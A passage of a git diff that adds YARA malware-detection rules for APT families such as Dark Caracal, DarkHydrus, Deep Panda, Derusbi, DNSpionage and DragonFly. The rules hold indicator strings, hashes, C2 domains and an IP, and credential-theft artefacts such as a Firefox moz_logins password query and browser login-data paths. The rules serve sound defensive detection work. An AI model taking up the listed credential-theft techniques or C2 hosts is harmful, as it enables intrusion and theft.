+		$s2 = "makescr.dat" fullword ascii
+		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
+		$s4 = "?moz-proxy://" ascii
+		$s5 = "[%s-%s] Title: %s" fullword ascii
+		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
+		$s7 = "Windows 95 SR2" fullword ascii
+		$s8 = "\\|%s|0|0|" ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 2 of ($s*) ) ) or ( 3 of ($x*) )
+}
+
+rule Mal_PotPlayer_DLL {
+	meta:
+		description = "Detects a malicious PotPlayer.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 70
+		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
+		id = "71d34266-63e0-5a97-9a80-952be917641a"
+	strings:
+		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
+
+		$s3 = "PotPlayer.dll" fullword ascii
+		$s4 = "\\update.dat" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $x1 or all of ($s*)
+}
diff --git a/yara-Neo23x0/apt_darkcaracal.yar b/yara-Neo23x0/apt_darkcaracal.yar
new file mode 100644
index 0000000..d9339bd
--- /dev/null
+++ b/yara-Neo23x0/apt_darkcaracal.yar
@@ -0,0 +1,30 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-22
+   Identifier: Dark Caracal
+   Reference: https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MiniRAT_Gen_1 {
+   meta:
+      description = "Detects Mini RAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news"
+      date = "2018-01-22"
+      hash1 = "091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b"
+      hash2 = "b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d"
+      hash3 = "ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2"
+      hash4 = "ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790"
+      hash5 = "675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd"
+      id = "65d89762-2fd0-5c6a-b706-92d77a03089a"
+   strings:
+      $x1 = "\\Mini rat\\" ascii
+      $x2 = "\\Projects\\ali\\Clever Components v7\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 7000KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_darkhydrus.yar b/yara-Neo23x0/apt_darkhydrus.yar
new file mode 100644
index 0000000..4dada98
--- /dev/null
+++ b/yara-Neo23x0/apt_darkhydrus.yar
@@ -0,0 +1,91 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-07-28
+   Identifier: DarkHydrus
+   Reference: https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_DarkHydrus_Jul18_1 {
+   meta:
+      description = "Detects strings found in malware samples in APT report in DarkHydrus"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+      date = "2018-07-28"
+      hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
+      id = "fbd001c0-43c9-5429-84d6-7f62eadd8ff3"
+   strings:
+      $x1 = "Z:\\devcenter\\aggressor\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         pe.imphash() == "d3666d1cde4790b22b44ec35976687fb" or
+         1 of them
+      )
+}
+
+rule APT_DarkHydrus_Jul18_2 {
+   meta:
+      description = "Detects strings found in malware samples in APT report in DarkHydrus"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+      date = "2018-07-28"
+      hash1 = "b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81"
+      id = "1a21cbbf-f7e1-56eb-973b-35c1a811e210"
+   strings:
+      $s4 = "windir" fullword ascii /* Goodware String - occured 47 times */
+      $s6 = "temp.dll" fullword ascii /* Goodware String - occured 3 times */
+      $s7 = "libgcj-12.dll" fullword ascii /* Goodware String - occured 3 times */
+      $s8 = "%s\\System32\\%s" fullword ascii /* Goodware String - occured 4 times */
+      $s9 = "StartW" fullword ascii /* Goodware String - occured 5 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule APT_DarkHydrus_Jul18_3 {
+   meta:
+      description = "Detects strings found in malware samples in APT report in DarkHydrus"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+      date = "2018-07-28"
+      hash1 = "c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3"
+      id = "1f766b49-3173-5f8a-ba52-a9ce9000be79"
+   strings:
+      $s2 = "Ws2_32.dll" fullword ascii
+      $s3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         pe.imphash() == "478eacfbe2b201dabe63be53f34148a5" or
+         all of them
+      )
+}
+
+rule HKTL_Unlicensed_CobaltStrike_EICAR_Jul18_5 {
+   meta:
+      description = "Detects strings found in CobaltStrike shellcode"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+      date = "2018-07-28"
+      modified = "2021-06-17"
+      hash1 = "cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1"
+      id = "d52536b8-dd6b-59be-8761-d22b6a279114"
+   strings:
+      $x1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+
+      $s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
+      $s2 = "libgcj-12.dll" fullword ascii /* Goodware String - occured 3 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and (
+         pe.imphash() == "829da329ce140d873b4a8bde2cbfaa7e" or
+         all of ($s*) or
+         $x1
+      )
+}
+
diff --git a/yara-Neo23x0/apt_deeppanda.yar b/yara-Neo23x0/apt_deeppanda.yar
new file mode 100644
index 0000000..66d9b5d
--- /dev/null
+++ b/yara-Neo23x0/apt_deeppanda.yar
@@ -0,0 +1,90 @@
+/* Deep Panda APT */
+
+rule DeepPanda_sl_txt_packed {
+	meta:
+		description = "Hack Deep Panda - ScanLine sl-txt-packed"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015/02/08"
+		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
+		id = "7a335810-2bf9-5a0b-bef4-1bade65a0f00"
+	strings:
+		$s0 = "Command line port scanner" fullword wide
+		$s1 = "sl.exe" fullword wide
+		$s2 = "CPports.txt" fullword ascii
+		$s3 = ",GET / HTTP/.}" fullword ascii
+		$s4 = "Foundstone Inc." fullword wide
+		$s9 = " 2002 Foundstone Inc." fullword wide
+		$s15 = ", Inc. 2002" fullword ascii
+		$s20 = "ICMP Time" fullword ascii
+	condition:
+		all of them
+}
+
+rule DeepPanda_lot1 {
+	meta:
+		description = "Hack Deep Panda - lot1.tmp-pwdump"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015/02/08"
+		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
+		id = "c72120a5-8637-580c-9856-e070dfb6df94"
+	strings:
+		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+		$s2 = "Target: Failed to load SAM functions." fullword ascii
+		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
+		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
+		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
+		$s12 = "PwDump.exe" fullword ascii
+		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
+		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
+		$s16 = "dump logon session" fullword ascii
+		$s17 = "Timed out waiting to get our pipe back" fullword ascii
+		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
+		$s20 = "%s\\%s.exe" fullword ascii
+	condition:
+		10 of them
+}
+
+rule DeepPanda_htran_exe {
+	meta:
+		description = "Hack Deep Panda - htran-exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015/02/08"
+		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
+		id = "2a551e82-aff1-5a77-bc5e-d06e49dca8bc"
+	strings:
+		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s2 = "\\Release\\htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s8 = "======================== htran V%s =======================" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+	condition:
+		1 of them
+}
+
+rule DeepPanda_Trojan_Kakfum {
+	meta:
+		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015/02/08"
+		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
+		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
+		id = "a204f9cb-65f8-53ea-a4eb-d89112942073"
+	strings:
+		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
+		$s1 = "%s\\sqlsrv32.dll" fullword ascii
+		$s2 = "%s\\sqlsrv64.dll" fullword ascii
+		$s3 = "%s\\%d.tmp" fullword ascii
+		$s4 = "ServiceMaix" fullword ascii
+		$s15 = "sqlserver" fullword ascii
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_derusbi.yar b/yara-Neo23x0/apt_derusbi.yar
new file mode 100644
index 0000000..b3bda3a
--- /dev/null
+++ b/yara-Neo23x0/apt_derusbi.yar
@@ -0,0 +1,143 @@
+/*
+	Yara Rule Set
+	Author: Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud
+	Date: 2015-12-09
+   Reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
+	Identifier: Derusbi Dez 2015
+*/
+
+rule derusbi_kernel
+{
+    meta:
+        description = "Derusbi Driver version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        id = "a60ab93a-e2be-53ee-a7da-56c763bc5533"
+    strings:
+        $token1 = "$$$--Hello"
+        $token2 = "Wrod--$$$"
+        $class = ".?AVPCC_BASEMOD@@"
+    condition:
+        uint16(0) == 0x5A4D and $token1 and $token2 and $class
+}
+
+rule derusbi_linux
+{
+    meta:
+        description = "Derusbi Server Linux version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+        id = "2b33afb5-be87-5d41-b05e-b99d0c1d8ed9"
+    strings:
+        $PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+        $cmd = "unset LS_OPTIONS;uname -a"
+        $pname = "[diskio]"
+        $rkfile = "/tmp/.secure"
+        $ELF = "\x7fELF"
+    condition:
+        $ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-15
+	Identifier: Derusbi Dez 2015
+*/
+
+rule Derusbi_Kernel_Driver_WD_UDFS {
+	meta:
+		description = "Detects Derusbi Kernel Driver"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 80
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
+		id = "51d80d19-f87f-5b09-ac49-08ebcb464013"
+	strings:
+      $x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+      $x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+      $x3 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
+      $x5 = "$$$--Hello" fullword ascii
+      $x6 = "Wrod--$$$" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
+		$s4 = "\\Driver\\nsiproxy" wide
+		$s5 = "HOST: %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+      (
+         2 of ($x*) or all of ($s*)
+      )
+}
+
+rule Derusbi_Code_Signing_Cert {
+	meta:
+		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 60
+		id = "d123fde9-0182-5232-a716-b76e8d9830c4"
+   strings:
+      $s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
+      $s2 = "XL Games Co.,Ltd.0" fullword ascii
+      $s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and 1 of them
+}
+
+rule XOR_4byte_Key {
+	meta:
+		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 60
+		id = "77850332-87ce-5ed3-bb09-88e91e5bb5f6"
+   strings:
+      /* Op Code */
+      $s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
+      /*
+      test    ecx, ecx
+      jz      short loc_590170
+      xor     [esi], eax
+      add     [esi], ebx
+      add     esi, 4
+      dec     ecx
+      jmp     short loc_590162
+      */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and all of them
+}
+
+rule Derusbi_Backdoor_Mar17_1 {
+   meta:
+      description = "Detects a variant of the Derusbi backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-03"
+      hash1 = "f87915f21dcc527981ebb6db3d332b5b341129b4af83524f59d7178e9d2a3a32"
+      id = "5c8838d6-b9c2-589e-b6a2-a8c7ad6f10cc"
+   strings:
+      $x1 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
+      $x2 = "c%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword wide
+      $x3 = "%Systemroot%\\Help\\perfc009.dat" fullword wide
+      $x4 = "rundll32.exe \"%s\", R32 %s" fullword wide
+      $x5 = "OfficeUt32.dll" fullword ascii
+      $x6 = "\\\\.\\pipe\\usb%so" fullword wide
+      $x7 = "\\\\.\\pipe\\usb%si" fullword wide
+      $x8 = "\\tmp1.dat" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 1 of them )
+}
diff --git a/yara-Neo23x0/apt_dnspionage.yar b/yara-Neo23x0/apt_dnspionage.yar
new file mode 100644
index 0000000..82bf873
--- /dev/null
+++ b/yara-Neo23x0/apt_dnspionage.yar
@@ -0,0 +1,48 @@
+
+rule MAL_DNSPIONAGE_Malware_Nov18 {
+   meta:
+      description = "Detects DNSpionage Malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
+      date = "2018-11-30"
+      modified = "2023-01-06"
+      hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
+      hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
+      id = "5a0b498b-b2e9-5827-9908-63586b2cf947"
+   strings:
+      $x1 = ".0ffice36o.com" ascii
+
+      $s1 = "/Client/Login?id=" ascii
+      $s2 = ".\\Configure.txt" ascii
+      $s5 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+      $s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule APT_DNSpionage_Karkoff_Malware_Apr19_1 {
+   meta:
+      description = "Detects DNSpionage Karkoff malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
+      date = "2019-04-24"
+      hash1 = "6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11"
+      hash2 = "b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04"
+      hash3 = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
+      hash4 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
+      id = "be955760-ae94-5f77-928d-f4118a97ae6a"
+   strings:
+      $x1 = "Karkoff.exe" fullword wide
+      $x2 = "kuternull.com" fullword wide
+      $x3 = "rimrun.com" fullword wide
+
+      $s1 = "C:\\Windows\\Temp\\" wide
+      $s2 = "CMD.exe" fullword wide
+      $s3 = "get_ProcessExtensionDataNames" fullword ascii
+      $s4 = "get_ProcessDictionaryKeys" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         1 of ($x*) or
+         all of ($s*)
+      )
+}
diff --git a/yara-Neo23x0/apt_donotteam_ytyframework.yar b/yara-Neo23x0/apt_donotteam_ytyframework.yar
new file mode 100644
index 0000000..d2e52c3
--- /dev/null
+++ b/yara-Neo23x0/apt_donotteam_ytyframework.yar
@@ -0,0 +1,43 @@
+import "pe"
+
+rule APT_DonotTeam_YTYframework : APT DonotTeam Windows {
+   meta:
+      author = "James E.C, ProofPoint"
+      description = "Modular malware framework with similarities to EHDevel"
+      hashes = "1e0c1b97925e1ed90562d2c68971e038d8506b354dd6c1d2bcc252d2a48bc31c"
+      reference = "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"
+      reference2 = "https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/"
+      date = "08-03-2018"
+      id = "6dd07019-aa5a-5966-8331-b6f6758b0652"
+   strings:
+      $x1 = "/football/download2/" ascii wide
+      $x2 = "/football/download/" ascii wide
+      $x3 = "Caption: Xp>" wide
+
+      $x_c2 = "5.135.199.0" ascii fullword
+
+      $a1 = "getGoogle" ascii fullword
+      $a2 = "/q /noretstart" wide
+      $a3 = "IsInSandbox" ascii fullword
+      $a4 = "syssystemnew" ascii fullword
+      $a5 = "ytyinfo" ascii fullword
+      $a6 = "\\ytyboth\\yty " ascii
+
+      $s1 = "SELECT Name FROM Win32_Processor" wide
+      $s2 = "SELECT Caption FROM Win32_OperatingSystem" wide
+      $s3 = "SELECT SerialNumber FROM Win32_DiskDrive" wide
+      $s4 = "VM: Yes" wide fullword
+      $s5 = "VM: No" wide fullword
+      $s6 = "helpdll.dll" ascii fullword
+      $s7 = "boothelp.exe" ascii fullword
+      $s8 = "SbieDll.dll" wide fullword
+      $s9 = "dbghelp.dll" wide fullword
+      $s10 = "YesNoMaybe" ascii fullword
+      $s11 = "saveData" ascii fullword
+      $s12 = "saveLogs" ascii fullword
+   condition:
+      uint16be(0) == 0x4d5a and filesize < 500KB and (
+         pe.imphash() == "87775285899fa860b9963b11596a2ded" or
+         1 of ($x*) or 3 of ($a*) or 6 of ($s*)
+      )
+}
diff --git a/yara-Neo23x0/apt_dragonfly.yar b/yara-Neo23x0/apt_dragonfly.yar
new file mode 100644
index 0000000..e2c1654
--- /dev/null
+++ b/yara-Neo23x0/apt_dragonfly.yar
@@ -0,0 +1,109 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-12
+   Identifier: DragonFly
+   Reference: https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Unspecified_Malware_Sep1_A1 {
+   meta:
+      description = "Detects malware from DrqgonFly APT report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+      date = "2017-09-12"
+      hash1 = "28143c7638f22342bff8edcd0bedd708e265948a5fcca750c302e2dca95ed9f0"
+      id = "cff49e85-c8c3-5240-9948-0551e38e7040"
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 200KB and
+        pe.imphash() == "17a4bd9c95f2898add97f309fc6f9bcd"
+      )
+}
+
+rule DragonFly_APT_Sep17_1 {
+   meta:
+      description = "Detects malware from DrqgonFly APT report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+      date = "2017-09-12"
+      hash1 = "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9"
+      id = "d219a54e-cb76-5c56-b64c-5019e811eeb1"
+   strings:
+      $s1 = "\\Update\\Temp\\ufiles.txt" wide
+      $s2 = "%02d.%02d.%04d %02d:%02d" fullword wide
+      $s3 = "*pass*.*" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule DragonFly_APT_Sep17_2 {
+   meta:
+      description = "Detects malware from DrqgonFly APT report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+      date = "2017-09-12"
+      modified = "2023-01-06"
+      hash1 = "178348c14324bc0a3e57559a01a6ae6aa0cb4013aabbe324b51f906dcf5d537e"
+      id = "e64f121d-a628-54b5-88f3-96eea388c155"
+   strings:
+      $s1 = "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" wide
+      $s2 = "C:\\Users\\Public\\Log.txt" fullword wide
+      $s3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" fullword wide
+      $s4 = "***************** Mozilla Firefox ****************" fullword wide
+      $s5 = "********************** Opera *********************" fullword wide
+      $s6 = "\\AppData\\Local\\Microsoft\\Credentials\\" wide
+      $s7 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\" wide
+      $s8 = "**************** Internet Explorer ***************" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 3000KB and 3 of them )
+}
+
+rule DragonFly_APT_Sep17_3 {
+   meta:
+      description = "Detects malware from DrqgonFly APT report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+      date = "2017-09-12"
+      hash1 = "b051a5997267a5d7fa8316005124f3506574807ab2b25b037086e2e971564291"
+      id = "4eafd732-80bc-5f50-bf0d-096df4d35d61"
+   strings:
+      $s1 = "kernel64.dll" fullword ascii
+      $s2 = "ws2_32.dQH" fullword ascii
+      $s3 = "HGFEDCBADCBA" fullword ascii
+      $s4 = "AWAVAUATWVSU" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 40KB and (
+           pe.imphash() == "6f03fb864ff388bac8680ac5303584be" or
+           all of them
+        )
+      )
+}
+
+rule DragonFly_APT_Sep17_4 {
+   meta:
+      description = "Detects malware from DrqgonFly APT report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+      date = "2017-09-12"
+      hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
+      id = "dbc0eebf-fc81-5a0b-b2e0-129d0b40b6f7"
+   strings:
+      $s1 = "screen.exe" fullword wide
+      $s2 = "PlatformInvokeUSER32" fullword ascii
+      $s3 = "GetDesktopImageF" fullword ascii
+      $s4 = "PlatformInvokeGDI32" fullword ascii
+      $s5 = "GetDesktopImage" fullword ascii
+      $s6 = "Too many arguments, going to store in current dir" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_dtrack.yar b/yara-Neo23x0/apt_dtrack.yar
new file mode 100644
index 0000000..7dbc790
--- /dev/null
+++ b/yara-Neo23x0/apt_dtrack.yar
@@ -0,0 +1,44 @@
+
+rule APT_MAL_DTRACK_Oct19_1 {
+   meta:
+      description = "Detects DTRACK malware"
+      author = "Florian Roth (Nextron Systems)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      reference = "https://twitter.com/a_tweeter_user/status/1188811977851887616?s=21"
+      date = "2019-10-28"
+      hash1 = "c5c1ca4382f397481174914b1931e851a9c61f029e6b3eb8a65c9e92ddf7aa4c"
+      hash2 = "a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68"
+      hash3 = "93a01fbbdd63943c151679d037d32b1d82a55d66c6cb93c40ff63f2b770e5ca9"
+      hash4 = "3cc9d9a12f3b884582e5c4daf7d83c4a510172a836de90b87439388e3cde3682"
+      hash5 = "bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364"
+      hash6 = "58fef66f346fe3ed320e22640ab997055e54c8704fc272392d71e367e2d1c2bb"
+      hash7 = "9d9571b93218f9a635cfeb67b3b31e211be062fd0593c0756eb06a1f58e187fd"
+      id = "802135bd-234d-574d-b111-fcc9eaa000f8"
+   strings:
